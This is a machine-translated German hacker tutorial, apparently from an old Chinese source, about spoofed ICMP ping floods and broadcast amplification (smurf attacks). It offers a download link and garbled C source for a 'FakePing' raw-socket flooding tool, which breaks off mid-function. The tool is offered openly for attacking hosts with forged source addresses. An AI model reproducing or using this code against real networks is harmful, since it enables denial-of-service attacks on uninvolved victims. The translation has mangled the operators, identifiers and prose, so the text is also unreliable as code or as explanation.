Kürzlich, rufen Sie wieder viele Menschen mit dem, was Ping tot, was vor Ort zu gehen, aber technisch gesehen, egal, was die Denial of Service-Attacken, um eine Bedingung zu erfüllen haben: mit den geringsten Ressourcen in Exchange als größte Verbrauch des Angreifers. Wie jeder Ping ist nicht nur seltsam: mit der größten Ressource für einander am wenigsten schaden; ist lächerlich: Volkskrieg vor 50 Jahren, gehören wahrscheinlich zu handeln, und in der Internet-Ära, nicht viele Leute in der Lage, wie die.
Heute sind wir für die Ping's, Ping wird durch Senden von ICMP-Nachricht (Typ 8 Code 0) auf die Existenz von Rechnern im Netz ein Werkzeug, ein vor langer Zeit ein Teil des Betriebssystems (zB Win95), erkunden Sie sind nicht gut mit großen Ping-Pakete behandelt , was zu einem Ping to Death von Angriffen (Ping-Tasche mit einer großen Ruine einander oder gefüllt Netzwerk), mit Betriebssystem-Upgrades, Netzwerkbandbreite Upgrades, sind Computer-Hardware-Upgrades, derzeit praktisch keine großen Ping-Pakete Großangriff Effekt (außer für verteilte Angriff), wenn wir müssen die Ping-Pakete verwenden, um andere Rechner anzugreifen, es sei denn, die Verwendung von TCP / IP-Protokoll oder über andere Merkmale der Netzwerk-Topologie der Intensität des Mangels Amplifikation Angriffe (sogenannte positive Rückkopplung)
Unter normalen Umständen, Ping Vorgang ist wie folgt:
Host A sendet Pakete an den Host ICMP 8,0 B
Host B sendet Nachrichten an den Host ICMP 0,0 A
Da war keine ICMP-Link auf, so geben Sie uns eine Chance, vorausgesetzt, nun als Host A Host sendet ICMP-Pakete 8,0 C, die Ergebnisse, was passieren würde? Natürlich verkleidet, die Host-Host B C wird dieser Bericht zu senden ist Papier weg
Response to Host C, die folgende Struktur:
C Masquerading Fehler wie die Host-Antwort
Host A Host B --------------------- ------------------ Host C
Dieser Fall, wie die Host A nur brauchen, um das Senden Ping-Pakete ohne die Notwendigkeit, mit der Rückkehr von EchoReply befassen, so Anstrengungen haben den Angriff multipliziert, während in Wirklichkeit die Host-B-und Host-C, um Ziele von Angriffen werden, und wird nicht bleiben unter der eigenen Marke, ist ein verdeckter Angriff zwei Fliegen mit einer Klappe Ansatz.
Methoden SOCK_RAW über IP können Tarnung, sondern sogar zweimal erweitert, denn je mehr robustes Betriebssystem und je größer die Bandbreite, noch viel Wirkung, machen wir wieder Sport organisiert? Nicht rechts, laß den Feind zu uns, gut zu vergrössern, TCP / IP in einem Konzept namens der Sendung, die so genannte Ausstrahlung gemeint, dass es eine Adresse, jeder Host im LAN werden an diese Adresse geschickt werden, um die Nachricht (das gleiche wie der Rundfunk zu empfangen) wenn? Sie Ja! Wenn wir eine Broadcastadresse ICMP ECHO-Paket (das ist die Broadcast-Adresse Ping it) senden gehen, das Ergebnis wird eine Menge Reaktion sein, Ethernet, so dass jeder auf eine Broadcast-Nachricht empfangen wird Host-Reaktion ICMP_ECHOREPLY ein, wenn Sie die Maschine in UNIX-Test Ping LAN-Broadcast-Adresse, was du willst eine Menge dup Paket Antwort sehen wollen, ist die Antwort, Windows-System, nicht die Art der Ergebnisse wiederholen, weil der Microsoft Ping-Programm nicht auf mehrere ausgepackt, die erste Paket empfangen zu reagieren, nachdem die hinter fallengelassen, und auch Microsoft's System nicht reagiert, um Adresse des Standard-Paket gesendet, so dass Sie besser in eine Menge von Unix-Host-LAN testen.
Hier sendet, smart, was ich jetzt tun? Hey hey wollen wissen, ja, wenn wir an eine Broadcast-Adresse an den Rechner anzugreifen sein vorgeben Ping-Anforderung Zeit werden alle die Broadcast-Adresse des Rechners auf die Ping-Anforderung zu reagieren Dies ist gleichbedeutend mit der Intensität der Attacken ist N-mal! (N = Broadcast-Adresse zu Ping-Pakete in der Anzahl der Hosts reagieren)
Masquerading als Host C falsch sind alle Radio-Host Reaktion
Host A --------------------- Broadcast-Adresse ======================= == Host C
Ich schrieb einen FakePing Tool können Sie Http: / / www.patching.net / Shotgun / FakePing.exe herunterladen.
Die Benutzung ist FakePing.exe FakeIP TargetIP [PacketSize], wenn TargetIP ist die Broadcast-Adresse, dann FakeIP angestrebt.
Quelle bekannt sind wie folgt:
typedef struct _iphdr / / Definition des IP-Headers
(
unsigned char h_verlen; / / 4 Grad 位 erste Minister, IP Version 4
unsigned char tos; / / 8 Dienstleistungen Typ TOS
unsigned short total_len; / / 16 Median Gesamtlänge (in Bytes)
unsigned short ident; / / 16-Bit-Identifizierung
unsigned short frag_and_flags; / / 3 Flags
unsigned char TTL; / / 8 medianen Überlebenszeit von TTL
unsigned char proto; / / 8-Bit-Protokoll (TCP, UDP oder andere)
unsigned short Prüfsumme; / / 16 位 IP-Header-Prüfsumme
unsigned int sourceIP; / / 32 digitalen Quell-IP-Adresse
unsigned int destIP; / / 32 位 Zweck der IP-Adresse
) IP_HEADER;
/ / Definieren ICMP-Header
typedef struct _ihdr
(
BYTE i_type; / / 8 Bit-Typ
BYTE i_code; / / 8-Bit-Code
USHORT i_cksum; / / 16-Bit-Prüfsumme
USHORT I_ID; / / Identifikationsnummer (in der Regel mit dem Prozess Zahl als die ID-Nummer)
USHORT i_seq; / / Message Sequence Number
ULONG timestamp; / / Zeitstempel
) ICMP_HEADER;
/ / Prüfsumme: Prüfsumme berechnen Funktionen
USHORT Prüfsumme (USHORT * buffer, int size)
(
unsigned long cksum = 0;
while (size 1)
(
cksum =* + Puffer + +;
-= Größe sizeof (USHORT);
)
if (size)
(
cksum + = * (* UCHAR)-Puffer;
)
cksum = (cksum 16) + (cksum & 0xFFFF);
cksum + = (cksum 16);
return (USHORT) (~ cksum);
)
/ / FakePing Hauptfunktion
int main (int argc, char ** argv)
(
int datasize, ErrorCode, counter, Flagge;
int TimeOut = 2000, SendSEQ = 0, PacketSize = 32;
char sendbuf [65535] = (0);
WSADATA WSADATA;
SOCKET SockRaw = (Sockel) NULL;
struct sockaddr_in DestAddr;
IP_HEADER ip_header;
ICMP_HEADER icmp_header;
char FakeSourceIp [20], DestIp [20];
/ / Akzeptieren Sie die Kommandozeilen-Parameter
if (argc 3)
(
printf ("FakePing von Shotgun
");
printf ("Dieses Programm kann Ping-Flooding von einem FakeIP tun
");
printf ("mit einem Broadcast-IP als FakeIP wird die Wirkung zu verbessern
");
printf ("E-Mail:
");
printf ("Shotgun@Xici.Net
");
printf ("Homepage:
");
printf ("http://It.Xici.Net
");
printf ("http://www.Patching.Net
");
printf ("Aufruf:
FakePing.exe FakeSourceIp DestinationIp [PacketSize]
");
printf ("Beispiel:
");
printf ("FakePing.exe 192.168.15.23 192.168.15.255
");
printf ("FakePing.exe 192.168.15.23 192.168.15.200 6400
");
exit (0);
)
strcpy (FakeSourceIp, argv [1]);
strcpy (DestIp, argv [2]);
if (argc 3) = PacketSize atoi (argv [3]);
if (PacketSize 60000)
(
printf ("Fehler! Packet zu groß, muss 60K
");
exit (0);
)
printf ("Jetzt Fake% s% s mit Ping Packet size =% d bytes
"
FakeSourceIp, DestIp, PacketSize);
printf ("Strg + C zum Beenden
");
/ / Initialisiere SOCK_RAW
if ((= ErrorCode WSAStartup (MAKEWORD (2,1), & WSADATA))! = 0)
(
fprintf (stderr, "WSAStartup fehlgeschlagen:% d
"ErrorCode);
ExitProcess (STATUS_FAILED);
)
if ((= SockRaw WSASocket (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
(
fprintf (stderr, "WSASocket () fehlgeschlagen:% d
"WSAGetLastError ());
ExitProcess (STATUS_FAILED);
)
flag = true;
/ / Set IP_HDRINCL füllen ihre eigene IP-Header
ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) & Fahne, sizeof (int));
if (ErrorCode == SOCKET_ERROR)
printf ("Set IP_HDRINCL Error!
");
__try
(
/ / Set timeout senden
ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));
if (ErrorCode == SOCKET_ERROR)
(
fprintf (stderr, "Fehler beim Versenden TimeOut gesetzt:% d
"WSAGetLastError ());
__leave;
)
memset (& DestAddr, 0, sizeof (DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr (DestIp);
/ / Füllen IP-Header
ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / High 4 IP-Versionsnummer, der erste Minister der geringen Grad von vier
ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 Median Gesamtlänge (in Bytes)
ip_header.ident = 1;
/ / 16 ID
ip_header.frag_and_flags = 0;
/ / 3. Flagge
ip_header.ttl = 128;
/ / 8-Bit-TTL Überlebenszeit
ip_header.proto = IPPROTO_ICMP;